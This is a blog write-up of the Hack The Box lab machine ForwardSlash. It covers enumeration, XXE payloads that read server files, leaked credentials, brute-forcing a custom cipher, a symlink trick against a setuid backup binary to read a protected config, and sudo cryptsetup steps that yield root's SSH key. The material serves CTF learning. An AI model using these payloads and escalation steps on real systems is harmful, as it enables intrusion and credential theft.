ForwardSlash Write-up

This box was really important for me since it was my first active red box (congratulations to me). I learned a lot things and most above all perseverance. By doing it I fully grasped the philosophy behind Try harder! It is also a fun box where I learned a lot of things and I think that this knowledge will help me during further CTFs.


The usual nmap enumeration produces following results

Nmap scan report for forwardslash.htb (
Host is up (0.14s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
|   256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_  256 1b🇩🇪b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Backslash Gang
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

In the browser, heading to redirects to http://forwardslash.htb. So, forwardslash.htb must be a hostname in the /etc/hosts/ file. Once done, we get a defaced website hacked by people called Backslash Gang.
The first thing I noticed before checking the page source is they say they hacked the box using vulnerabilities about XML and Automatic FTP Login. I went back to make a second nmap scan to check if I didn’t miss the FTP port the first time but nothing changed. So I supposed that either the FTP service was internal or it has been taken down since they got hacked. Let’s just keep in mind that there was XML and automatic FTP login.

Next come website enumeration using gobuster since there is nothing interesting in the page source. The usual command came back empty.

At this point, I only had one idea in my mind, that is to continue enumeration but with some other known extensions commonly found in a web server plus XML since it is mentionned in the home page.

gobuster dir -t20 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://forwardslash.htb -x txt,conf,xml -o httpbust.log

This time, we got a single result named note.txt which has the following content.

Pain, we were hacked by some skids that call themselves the “Backslash Gang”… I know… That name…
Anyway I am just leaving this note here to say that we still have that backup site so we should be fine.


From this, I deduced one thing and made a hypothesis:

  • Deduction: There is a backup site
  • Hypothesis: Pain and chiv are users in the box.

It became pretty clear that the next step is to find the backup site. To do so, it’s obvious we must continue enumeration but enumeration is better when we know where to look and what to look for. A month ago, as script kiddie, I would surely launch gobuster looking for file with extensions like zip, tar or gz since we are talking about backups but let’s not do that and think.

  • Their is a backup site which should be browsable or else it would note make sense for chiv to say ‘we should be fine’!
  • Gobuster the first time didn’t reveal any subdirectory so no need to try that again!
  • When we tried to browse the website using the IP address we were redirected to forwardslash.htb

The last point made it clear since this is a behavior we commonly encounter in apache vhosts. Yes! Vhosts. They are browsable which respects the first point and can sometimes not be a subdirectory which respects the second one. To test my theory, I used gobuster along with SecLists subdomains wordlist to check for vhosts.

gobuster vhost -t20 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://forwardslash.htb -o vhostbust.log

The result came positive with

Found: backup.forwardslash.htb (Status: 302) [Size: 33]
Found: gc._msdcs.forwardslash.htb (Status: 400) [Size: 422]
Found: _domainkey.forwardslash.htb (Status: 400) [Size: 422]
Found: BACKUP.forwardslash.htb (Status: 302) [Size: 33]

Browsing to backup.forwardslash.htb after adding it in /etc/hosts file welcomes us with a login form.


You know the drill by now:

  • Check the page source for interesting stuff.
  • Try some default credentials.
  • Launch Gobuster.
  • Run SQLMap in the login and register forms.

While Gobuster and SQLMap were running, I tried to register as ‘admin’, logged in with it and accessed a welcome page.


I did a little exploration using the provided buttons while waiting for SQLMap and Gobuster.
SQLMap came negative for both forms and Gobuster provided the following output:

/index.php (Status: 302)
/login.php (Status: 200)
/register.php (Status: 200)
/welcome.php (Status: 302)
/dev (Status: 301)
/api.php (Status: 200)
/environment.php (Status: 302)
/logout.php (Status: 302)
/config.php (Status: 200)
/hof.php (Status: 302)
/server-status (Status: 403)

Many of these php files are linked to the buttons in the welcome page except api.php and the dev folder. The api page gave back as a white page and the dev folder responded with a form for testing their API. Inside the textarea we can see XML!
Oh my God, so there is the XML they were talking about.

I intended to try SQLMap in some of the forms I found during exploration but I immediately dropped the idea when I saw the XML because I’m convinced there is something here following Backslash Gang hint (yes, this is the way).

Executing a query in the form only echoes back the value inside the request tag. Even when we put commands like whoami, it simply echoes it back instead of executing it. Now talking about XML input on the web, I mainly think about XML eXternal Entity (XXE) vulnerability.
Our favorite PayloadsAllTheThings repo listed many techniques for testing and exploiting this vulnerability. To test if it is vunerable, I followed instructions found in there:

<!DOCTYPE replace [<!ENTITY example "Vulnerable"> ]>

And it echoes Vulnerable. Vulnerability confirmed!

Proceeding to LFI using base64, still following instructions in the repo

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

gave as output the /dev/index.php source code encoded in base64.

Decoded, it looks like

//include_once ../session.php;
// Initialize the session

if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== ""){
    header('HTTP/1.0 403 Forbidden');
    echo "<h1>403 Access Denied</h1>";
    echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
    //echo "<h2>Redirecting to login in 3 seconds</h2>"
    //echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
    //header("location: ../login.php");
	<h1>XML Api Test</h1>
	<h3>This is our api test for when our new website gets refurbished</h3>
	<form action="/dev/index.php" method="get" id="xmltest">
		<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
		<input type="submit">


<!-- TODO:
Fix FTP Login

if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {

	$reg = '/ftp:\/\/[\s\S]*\/\"/';
	//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'

	if (preg_match($reg, $_GET['xml'], $match)) {
		$ip = explode('/', $match[0])[2];
		echo $ip;

		$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");

		error_log("Logging in");

		if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {

			error_log("Getting file");
			echo ftp_get_string($conn_id, "debug.txt");


	libxml_disable_entity_loader (false);
	$xmlfile = $_GET["xml"];
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$api = simplexml_import_dom($dom);
	$req = $api->request;
	echo "-----output-----<br>\r\n";
	echo "$req";

function ftp_get_string($ftp, $filename) {
    $temp = fopen('php://temp', 'r+');
    if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
        return stream_get_contents($temp);
    else {
        return false;


Reading this code, I noticed that I got lucky by registering as admin since it would not work if not. Going down, we notice FTP login credentials: chiv:N0bodyL1kesBack/. So this is the automatic FTP login they were talking about han!
Next checked if I could login to FTP by giving" as input inside the request tag and it said that it cannot connect. That answered the question whether the FTP service was internal or was down. But anyway, WE GOT CREDS, and trying them in SSH let us in the box. WAY TO GO!!!

Lateral Movement

In the SSH session, we see that the flag is not owned by our current user chiv but by pain. To make lateral movement, I tried my luck by checking if I could make it directly to root from here.

  • The command sudo -l says I can’t sudo.
  • No root suid file I can exploit.

So I resigned myself to do the lateral movement.

Listing Pain home dir gives

drwxr-xr-x 7 pain pain 4096 Mar 17 20:28 .
drwxr-xr-x 4 root root 4096 Mar  5 14:23 ..
lrwxrwxrwx 1 pain root    9 Mar  6 09:43 .bash_history -> /dev/null
-rw-r--r-- 1 pain pain  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 pain pain 3771 Apr  4  2018 .bashrc
drwx------ 2 pain pain 4096 Mar  5 14:22 .cache
drwxr-xr-x 2 pain root 4096 Mar 24 12:06 encryptorinator
drwx------ 3 pain pain 4096 Mar  5 14:22 .gnupg
drwxrwxr-x 3 pain pain 4096 Mar  6 14:23 .local
-rw-r--r-- 1 pain root  256 Jun  3  2019 note.txt
-rw-r--r-- 1 pain pain  807 Apr  4  2018 .profile
drwx------ 2 pain pain 4096 Mar 17 20:29 .ssh
-rw------- 1 pain pain   33 May  4 06:15 user.txt

No bash_history, so we forget about it but there is a note and an interesting folder called encryptorinator we can read. The note says:

Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key… I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.


At this point we have two possibilities. Either the decryption key means something important or the content of the file is important or both. But I’m leaning toward the content of the file since Chiv explicitely said it’s important. Let’s analyze the encryption function in from encryptorinator directory.

def encrypt(key, msg):                                                                                                                                
    key = list(key)                                                                                                                                   
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)

In my understanding, the function applies each character of the key as a mask sequentially for each character of the message. Now, how to reverse or bruteforce it… ?

One day later, after a lot of paper and ink spent (don’t worry I respected the environment), I tried to reverse it with no luck at all. So I wondered how would it be if the key was made with a single character ?! Out of curiosity, I gave it a shot using a technique I will grossly call known partial plaintext attack (in regards to known-plaintext attack). In my case, I will suppose that ‘the', which is frequently used in english, is in the decoded message. The file (python2) have the following content:

import sys

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)

def bruteforce():
    cipherfile = open('ciphertext', 'rb')
    ciphertext =
    for i in range(1, len(ciphertext)): # We suppose the key is at most the same size as the encoded msg
        for key_ord in range(33, 127): # Only printable characters from ASCII table
            key = chr(key_ord) * i # We repeat the character i times
            msg = decrypt(key, ciphertext)
            if 'the' in msg: # if the is in the message, we stop
                exit("Decoded: {0}".format(msg))

if __name__ == '__main__':

Holy mother of ciphers, I got something seconds later!

Decoded: $7Cq84l’you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

But I did not get too excited. I have indeed a password but it is for a supposed encrypted image inside /var/backups/recovery which I can’t list because I don’t have the permission. So this step is maybe for privilege escalation to root once I become Pain! I noted the password somewhere, tried it anyway as pain password but it fails.

I went back to the drawing board and adopted the same methodology I use for privesc in linux boxes. First sudo -l which I already did without luck and second I look for root suid bins. I tweaked the find command a little to not only find executable suid files but all files owned by pain.

$ find / -user pain -exec ls -l {} + 2>/dev/null
lrwxrwxrwx 1 pain root     9 Mar  6 09:43 /home/pain/.bash_history -> /dev/null
-rw-r--r-- 1 pain pain   220 Apr  4  2018 /home/pain/.bash_logout
-rw-r--r-- 1 pain pain  3771 Apr  4  2018 /home/pain/.bashrc
-rw-r--r-- 1 pain root   165 Jun  3  2019 /home/pain/encryptorinator/ciphertext
-rw-r--r-- 1 pain root   931 Jun  3  2019 /home/pain/encryptorinator/
-rw-r--r-- 1 pain root   256 Jun  3  2019 /home/pain/note.txt
-rw-r--r-- 1 pain pain   807 Apr  4  2018 /home/pain/.profile
-rw------- 1 pain pain    33 May  4 06:15 /home/pain/user.txt
-r-sr-xr-x 1 pain pain 13384 Mar  6 10:06 /usr/bin/backup
-rw------- 1 pain pain   526 Jun 21  2019 /var/backups/config.php.bak

We have a suid bin /usr/bin/backup and a backup of a config.php at /var/backups/config.php.bak. It’s straightforward from here that the backup bin is my way to pain. Running it gives the following output:

        Pain's Next-Gen Time Based Backup Viewer
        NOTE: not reading the right file yet, 
        only works if backup is taken in same second

Current Time: 13:30:27
ERROR: de134741636e7628881556c9f9c2adc1 Does Not Exist or Is Not Accessible By Me, Exiting...

At first glance, it reads a backup file taken at the same second and named specifically. To have more insight at the binary, I downloaded it and ran it with ltrace.

$ ltrace -s 256 ./backup

getuid()                                                                                    = 1000
getgid()                                                                                    = 1000
puts("----------------------------------------------------------------------\n\tPain's Next-Gen Time Based Backup Viewer\n\tv0.1\n\tNOTE: not reading the right file yet, \n\tonly works if backup is taken in same second\n---------------------------------------------------"...) = 277
time(0)                                                                                     = 1588599285
localtime(0x7ffdb12a9230)                                                                   = 0x7f540a633240
malloc(13)                                                                                  = 0x55b9015f5900
sprintf("13:34:45", "%02d:%02d:%02d", 13, 34, 45)                                           = 8
strlen("13:34:45")                                                                          = 8
malloc(33)                                                                                  = 0x55b9015f5920
MD5_Init(0x7ffdb12a9180, 0x55b9015f5010, 3969, 3968)                                        = 1
MD5_Update(0x7ffdb12a9180, 0x55b9015f5900, 8, 0x55b9015f5900)                               = 1
MD5_Final(0x7ffdb12a91e0, 0x7ffdb12a9180, 0x7ffdb12a9180, 0x35343a34333a3331)               = 1
...                                                                                = -1
access("7353c957d2897fe84fe5175e58a8d49b", 0)                                               = -1
printf("ERROR: %s Does Not Exist or Is Not Accessible By Me, Exiting...\n", "7353c957d2897fe84fe5175e58a8d49b") = 94
setuid(1000)                                                                                = 0
setgid(1000)                                                                                = 0
remove("7353c957d2897fe84fe5175e58a8d49b")                                                  = -1
+++ exited (status 0) +++

So, I think it does a MD5 hash after getting the current time in format hh:mm:ss. Let’s verify that by making sure that the MD5 hash of 13:34:45 is 7353c957d2897fe84fe5175e58a8d49b.

$ echo -n "13:34:45" | md5sum
7353c957d2897fe84fe5175e58a8d49b  -

Yesssss, that’s it! So what I need to do is somehow to “rename” /var/backups/config.php.bak into a MD5 hash of the time I’m running the command. I put rename in quotes because I don’t have access to the file so the only thing that comes to my mind is a symlink.
Note that instead of aiming for the backup file, I could do it with the user flag but like I’m not racing for first blood, let’s just do it the proper way.
To summarize:

  • Get the time in hh:mm:ss.
  • Hash it in MD5 and remove the trailing “-” in the result
  • Create a symlink to /var/backups/config.php.bak named as the resulting hash
  • Run the backup script.

I poorly came with this command (execute it somewhere you have write permission):

$ v=$(date +%T) && name=$(echo -n "$v" | md5sum | cut -d' ' -f1) && ln -s /var/backups/config.php.bak $name && /usr/bin/backup

        Pain's Next-Gen Time Based Backup Viewer
        NOTE: not reading the right file yet, 
        only works if backup is taken in same second

Current Time: 13:52:01
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());


However, it does not work in MySQL and like it is written as a “cleartext” password, I considered it as a cleartext password and boom! That’s Pain’s password!

Root Flag

Now we are Pain and have he’s password, sudo -l shows

Matching Defaults entries for pain on forwardslash:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pain may run the following commands on forwardslash:
    (root) NOPASSWD: /sbin/cryptsetup luksOpen *
    (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
    (root) NOPASSWD: /bin/umount ./mnt/

It became obvious how to get to root since cryptsetup deals with encrypted volumes, thus the followed mount commands. And if you remember well, we decoded a text talking about an encrypted volume. So let’s bring it back and execute our commands

[email protected]:~$ ls -la /var/backups/recovery/
total 976576
drwxrwx--- 2 root backupoperator       4096 May 27  2019 .
drwxr-xr-x 3 root root                 4096 May  4 06:25 ..
-rw-r----- 1 root backupoperator 1000000000 Mar 24 12:12 encrypted_backup.img
[email protected]:~$ cd /dev/mapper
[email protected]:/dev/mapper$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
Enter passphrase for /var/backups/recovery/encrypted_backup.img:  #cB!6%sdH8Lj^@Y*$C2cf
[email protected]:/dev/mapper$ cd /
[email protected]:/$ sudo /bin/mount /dev/mapper/backup ./mnt/
[email protected]:/$ ls -la /mnt/
total 8
drwxr-xr-x  2 root root   20 Mar 17 20:07 .
drwxr-xr-x 24 root root 4096 Mar 24 06:17 ..
-rw-r--r--  1 root root 1675 May 27  2019 id_rsa
[email protected]:/$

And that’s the ssh key to root without passphrase. Congratulations, you just rooted the box.

Mamadou L. NIANG
Mamadou L. NIANG

Senior Java developer mainly around Spring and now, on my way to being a professional pentester.I love learning plenty of stuff and sometimes breaking them.

comments powered by Disqus